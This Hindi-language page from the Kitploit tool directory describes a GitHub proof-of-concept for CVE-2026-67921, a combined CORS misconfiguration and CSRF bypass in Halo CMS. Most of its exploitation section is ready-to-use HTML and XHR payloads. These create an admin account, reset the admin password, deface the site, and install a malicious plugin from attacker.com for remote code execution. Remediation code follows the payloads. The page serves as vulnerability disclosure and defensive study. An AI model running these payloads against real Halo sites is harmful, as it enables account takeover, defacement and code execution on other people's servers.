Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
halo-cors-csrf-CVE-2026-67921 — प्रूफ-ऑफ-कॉन्सेप्ट जो Halo CMS में संयुक्त CORS गलत कॉन्फ़िगरेशन और CSRF सुरक्षा बायपास का प्रदर्शन करता है, जिससे क्रॉस-साइट रिक्वेस्ट फोर्जरी हमलों के माध्यम से एडमिन उपयोगकर्ता बनाना, पासवर्ड बदलना, प्लगइन इंस्टॉल करना और सामग्री संशोधित करना संभव हो जाता है। | Kitploit
उपकरण/GitHubGitHub/unpredictable21/halo-cors-csrf-cve-2026-67921
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षा
GitHubunpredictable21/halo-cors-csrf-cve-2026-67921

halo-cors-csrf-CVE-2026-67921

प्रूफ-ऑफ-कॉन्सेप्ट जो Halo CMS में संयुक्त CORS गलत कॉन्फ़िगरेशन और CSRF सुरक्षा बायपास का प्रदर्शन करता है, जिससे क्रॉस-साइट रिक्वेस्ट फोर्जरी हमलों के माध्यम से एडमिन उपयोगकर्ता बनाना, पासवर्ड बदलना, प्लगइन इंस्टॉल करना और सामग्री संशोधित करना संभव हो जाता है।

रिपॉजिटरी देखें
16 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-67921: Halo CMS CORS गलत कॉन्फ़िगरेशन + CSRF सुरक्षा बाईपास संयुक्त हमला

सारांश

Halo CMS के 2.25.4 तक के संस्करणों में दो सुरक्षा गलत कॉन्फ़िगरेशन के कारण एक गंभीर संयुक्त हमले की भेद्यता मौजूद है:

  1. CORS गलत कॉन्फ़िगरेशन: CORS नीति * (किसी भी ओरिजिन) को credentials: true के साथ अनुमति देती है
  2. CSRF सुरक्षा बाईपास: सभी API एंडपॉइंट (/api/**, /apis/**) CSRF सुरक्षा से बाहर रखे गए हैं

जब इन्हें संयुक्त किया जाता है, तो ये एक हमलावर को किसी भी ओरिजिन से क्रॉस-साइट रिक्वेस्ट फोर्जरी हमले करने की अनुमति देते हैं, जिससे CORS द्वारा लागू की जाने वाली समान-ओरिजिन नीति सुरक्षा को बायपास किया जा सकता है।

CVSS v3.1 स्कोर: 9.3 (क्रिटिकल)
CVSS वेक्टर: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
CWE: CWE-352 (क्रॉस-साइट रिक्वेस्ट फोर्जरी) + CWE-942 (अनुमेय क्रॉस-डोमेन नीति) CVE ID: CVE-2026-67921


प्रभावित संस्करण

  • Halo CMS ≤ 2.25.4
  • सभी संस्करण जिनमें API रूट्स के लिए CORS सक्षम और CSRF अक्षम है

भेद्यता विवरण

भेद्यता 1: CORS गलत कॉन्फ़िगरेशन

फ़ाइल: application/src/main/java/run/halo/app/security/CorsConfigurer.java

root@kitploit:~
CorsConfigurationSource apiCorsConfigSource() {
    var configuration = new CorsConfiguration();
    configuration.setAllowedOriginPatterns(List.of("*"));   // ← कोई भी ओरिजिन
    configuration.setAllowCredentials(true);                // ← कुकीज़ की अनुमति दें
    configuration.setAllowedHeaders(List.of(
        HttpHeaders.AUTHORIZATION,
        HttpHeaders.CONTENT_TYPE,
        HttpHeaders.ACCEPT,
        "X-XSRF-TOKEN",
        HttpHeaders.COOKIE));
    configuration.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "PATCH"));
    source.registerCorsConfiguration("/api/**", configuration);
    source.registerCorsConfiguration("/apis/**", configuration);
    return source;
}

प्रभाव: कोई भी वेबसाइट उपयोगकर्ता की कुकीज़ के साथ Halo के API पर प्रमाणित अनुरोध कर सकती है।

भेद्यता 2: CSRF सुरक्षा बाईपास

फ़ाइल: application/src/main/java/run/halo/app/security/CsrfConfigurer.java

root@kitploit:~
@Override
public void configure(ServerHttpSecurity http) {
    var csrfMatcher = new AndServerWebExchangeMatcher(
        CsrfWebFilter.DEFAULT_CSRF_MATCHER,
        new NegatedServerWebExchangeMatcher(
            pathMatchers("/api/**", "/apis/**", "/actuator/**", "/system/setup")),
        // ← API रूट्स CSRF से बाहर!
        new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));
    http.csrf(csrfSpec -> csrfSpec.csrfTokenRepository(new CookieServerCsrfTokenRepository())
        .requireCsrfProtectionMatcher(csrfMatcher));
}

प्रभाव: API अनुरोधों को CSRF टोकन की आवश्यकता नहीं होती, भले ही वे सत्र कुकीज़ के माध्यम से प्रमाणित हों।


हमला तंत्र

यह संयोजन खतरनाक क्यों है

सुरक्षाअकेलेसंयुक्त
CORS *क्रेडेंशियल्स ब्लॉक करता है (ब्राउज़र लागू करता है)क्रेडेंशियल्स की अनुमति!
कोई CSRF नहींसमान-ओरिजिन नीति द्वारा संरक्षितCORS द्वारा बायपास!
परिणामसुरक्षितपूर्ण CSRF

हमले का प्रवाह

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  हमलावर evil.com पर दुर्भावनापूर्ण पेज होस्ट करता है        │
│  <form action="http://halo:8090/apis/..." method="POST">   │
│    <input name="..." value="...">                          │
│  </form>                                                    │
│  <script>document.forms[0].submit()</script>               │
└─────────────────────────────────────────────────────────────┘
                            ↓
┌─────────────────────────────────────────────────────────────┐
│  पीड़ित का ब्राउज़र evil.com पर जाता है                     │
│  → फ़ॉर्म स्वचालित रूप से Halo API पर सबमिट होता है         │
│  → ब्राउज़र सत्र कुकी स्वचालित रूप से शामिल करता है         │
│  → CORS: Origin * + credentials: true → अनुरोध की अनुमति!   │
│  → CSRF: /apis/** बाहर → कोई टोकन आवश्यक नहीं!             │
│  → अनुरोध पीड़ित के विशेषाधिकारों के साथ सफल होता है        │
└─────────────────────────────────────────────────────────────┘

शोषण परिदृश्य

परिदृश्य 1: एडमिन उपयोगकर्ता बनाना

root@kitploit:~
<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users" method="POST">
  <input type="hidden" name="apiVersion" value="v1alpha1"/>
  <input type="hidden" name="kind" value="User"/>
  <input type="hidden" name="metadata.name" value="hacker"/>
  <input type="hidden" name="spec.password" value="hacker123"/>
  <input type="hidden" name="spec.displayName" value="Hacker"/>
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>

परिदृश्य 2: एडमिन पासवर्ड बदलना

root@kitploit:~
<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password" method="PUT">
  <input type="hidden" name="password" value="newpassword123"/>
</form>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({password: 'newpassword123'}));
</script>
</body>
</html>

परिदृश्य 3: दुर्भावनापूर्ण प्लगइन इंस्टॉल करना (RCE)

root@kitploit:~
<html>
<body>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('POST', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({uri: 'http://attacker.com/malicious-plugin.jar'}));
</script>
</body>
</html>

परिदृश्य 4: साइट सामग्री संशोधित करना

root@kitploit:~
<html>
<body>
<script>
  // साइट शीर्षक बदलें
  var xhr = new XMLHttpRequest();
  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({site: {title: 'Hacked by Attacker'}}));
</script>
</body>
</html>

प्रूफ ऑफ कॉन्सेप्ट

बेसिक CSRF टेस्ट

csrf-test.html बनाएं:

root@kitploit:~
<!DOCTYPE html>
<html>
<head><title>Halo CSRF PoC</title></head>
<body>
<h1>Halo CORS+CSRF Attack PoC</h1>
<p>This page will attempt to modify Halo settings when loaded.</p>

<script>
// Test CSRF by modifying site title
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;

xhr.onload = function() {
    if (xhr.status === 200 || xhr.status === 204) {
        document.body.innerHTML += '<p style="color:green">SUCCESS! CSRF attack worked.</p>';
    } else {
        document.body.innerHTML += '<p style="color:red">Failed: ' + xhr.status + '</p>';
    }
};

xhr.send(JSON.stringify({
    "site": {
        "title": "CSRF Attack Success - " + new Date().toISOString()
    }
}));
</script>
</body>
</html>

सत्यापन चरण

  1. Halo में लॉग इन करते समय ब्राउज़र में csrf-test.html खोलें
  2. जांचें कि साइट का शीर्षक बदला गया है या नहीं
  3. CORS हेडर के लिए ब्राउज़र कंसोल जांचें:
root@kitploit:~
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

प्रभाव विश्लेषण

हमलाप्रभावगंभीरता
एडमिन उपयोगकर्ता बनानापूर्ण सिस्टम समझौताक्रिटिकल
एडमिन पासवर्ड बदलनाखाता अधिग्रहणक्रिटिकल
दुर्भावनापूर्ण प्लगइन इंस्टॉल करनारिमोट कोड निष्पादनक्रिटिकल
सामग्री संशोधित करनाविरूपणउच्च
डेटा हटानाडेटा हानिउच्च
डेटा चोरी करनासूचना प्रकटीकरणउच्च

उपचार

फिक्स 1: CORS ओरिजिन प्रतिबंधित करें

root@kitploit:~
// वाइल्डकार्ड को विशिष्ट ओरिजिन से बदलें
configuration.setAllowedOriginPatterns(List.of(
    "https://yourdomain.com",
    "https://admin.yourdomain.com"
));

फिक्स 2: API रूट्स के लिए CSRF सक्षम करें

root@kitploit:~
// CSRF मैचर से API बहिष्करण हटाएं
var csrfMatcher = new AndServerWebExchangeMatcher(
    CsrfWebFilter.DEFAULT_CSRF_MATCHER,
    new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));

फिक्स 3: बियरर टोकन प्रमाणीकरण का उपयोग करें

API एंडपॉइंट्स के लिए, सत्र कुकीज़ के बजाय बियरर टोकन प्रमाणीकरण को प्राथमिकता दें, जो CSRF के प्रति संवेदनशील नहीं हैं।


संदर्भ

  • विक्रेता: https://github.com/halo-dev/halo
  • CWE-352: https://cwe.mitre.org/data/definitions/352.html
  • CWE-942: https://cwe.mitre.org/data/definitions/942.html

समयरेखा

  • खोज तिथि: 2026-07-10
टूल डाउनलोड करें